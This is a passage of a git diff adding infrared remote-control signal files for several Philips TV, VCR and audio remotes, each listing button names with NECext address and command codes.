+type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: TV_CENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: VCR_CENTER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: TV_TIME +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: VCR_TIME +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2A 00 00 00 +# +name: TV_RESIZE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: VCR_RESIZE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2B 00 00 00 +# +name: TV_QUESTION +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: VCR_QUESTION +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2C 00 00 00 +# +name: TV_CANCEL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: VCR_CANCEL +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2D 00 00 00 +# +name: TV_MIXED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: VCR_MIXED +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2E 00 00 00 +# +name: VCR_BACK +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: VCR_FORWARD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: VCR_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: VCR_STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: VCR_RECORD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 +# +name: TV_VT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: VCR_VT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3C 00 00 00 +# +name: TV_PLUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: VCR_PLUS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 4D 00 00 00 +# +name: TV_MINUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: VCR_MINUS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 4E 00 00 00 +# +name: TV_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: VCR_MENU +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 52 00 00 00 +# +name: TV_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6B 00 00 00 +# +name: TV_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6C 00 00 00 +# +name: TV_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6D 00 00 00 +# +name: TV_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6E 00 00 00 +# +name: TV_GREY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6F 00 00 00 +# +name: VCR_IDX +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 6F 00 00 00 +# +name: TV_STORE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 7A 00 00 00 +# +name: VCR_STORE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 7A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC7843/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC7843/0,-1.ir new file mode 100644 index 000000000..105a7932d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC7843/0,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: Cero +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: Uno +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: Dos +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: Tres +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: Cuatro +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: Cinco +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: Seis +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: Siete +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: Ocho +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: Nueve +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: PP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: DBB +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: Stereo +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: Spatial +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: Arriba +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: Abajo +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: Out +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: Izquierda +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: Derecha +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC7925/26,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC7925/26,-1.ir new file mode 100644 index 000000000..1b5919a44 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC7925/26,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 09 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0B 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 1D 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 20 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 21 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 24 00 00 00 +# +name: CD_SYNC +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 28 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 2D 00 00 00 +# +name: FAST +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 2F 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 30 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 32 00 00 00 +# +name: FORW +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 34 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 36 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 37 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 38 00 00 00 +# +name: TRACK_INCR +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 72 00 00 00 +# +name: FINE_TUNE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 74 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC8244/10,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC8244/10,-1.ir new file mode 100644 index 000000000..9215649a3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC8244/10,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0C 00 00 00 +# +name: pilot +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0F 00 00 00 +# +name: tvsat +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 28 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 2F 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 46 00 00 00 +# +name: prog +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 4F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 50 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 51 00 00 00 +# +name: serv +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 52 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 53 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 55 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 56 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 57 00 00 00 +# +name: twoje +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 61 00 00 00 +# +name: perso +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6A 00 00 00 +# +name: KEY_A +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6B 00 00 00 +# +name: KEY_B +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6C 00 00 00 +# +name: KEY_C +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6D 00 00 00 +# +name: KEY_D +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6E 00 00 00 +# +name: KEY_E +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC8861/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC8861/1,-1.ir new file mode 100644 index 000000000..322d532b1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC8861/1,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: shift_-/-- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: shift_ch- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: shift_vol+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1A 00 00 00 +# +name: shift_vol- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1B 00 00 00 +# +name: shift_ch+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1E 00 00 00 +# +name: shift_ch- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1F 00 00 00 +# +name: shift_eight +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2B 00 00 00 +# +name: shift_nine +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 38 00 00 00 +# +name: shift_seven +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3F 00 00 00 +# +name: shift_mute +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 40 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RCLE011/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RCLE011/0,-1.ir new file mode 100644 index 000000000..cd1d94bbe --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RCLE011/0,-1.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: i+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: Tune +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: Square +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: Program+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: Program- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: screendown +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: screenup +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: question +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: Out +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6E 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 71 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RD6834/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RD6834/20,-1.ir new file mode 100644 index 000000000..4746aeafd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RD6834/20,-1.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 09 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 10 00 00 00 +# +name: VOL_DWN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 11 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1C 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1D 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: SCAN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2B 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 30 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RT150/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RT150/5,-1.ir new file mode 100644 index 000000000..2c78fc49d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RT150/5,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0B 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0C 00 00 00 +# +name: Tracking +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0E 00 00 00 +# +name: Timer +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 25 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 26 00 00 00 +# +name: Still +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 +# +name: SP/LP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3A 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 70 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 71 00 00 00 +# +name: Monitor +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 7A 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 7D 00 00 00 +# +name: Cassette_Eject +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RU120/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RU120/0,-1.ir new file mode 100644 index 000000000..3a68ef63c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RU120/0,-1.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: SHIFT_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: SHIFT_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: SHIFT_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: SHIFT_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_SBC-RU-520/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_SBC-RU-520/5,-1.ir new file mode 100644 index 000000000..ff86150f6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_SBC-RU-520/5,-1.ir @@ -0,0 +1,560 @@ +Filetype: IR signals file +Version: 1 +# +name: tv/0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: vcr/0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 00 00 00 00 +# +name: tv/1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: vcr/1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: tv/2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: vcr/2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 02 00 00 00 +# +name: tv/3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: vcr/3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 03 00 00 00 +# +name: tv/4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: vcr/4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 04 00 00 00 +# +name: tv/5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: vcr/5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 05 00 00 00 +# +name: tv/6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: vcr/6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: tv/7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: vcr/7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 07 00 00 00 +# +name: tv/8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: vcr/8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: tv/9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: vcr/9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: tv/digits +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: vcr/digits +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0A 00 00 00 +# +name: tv/sdigits +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 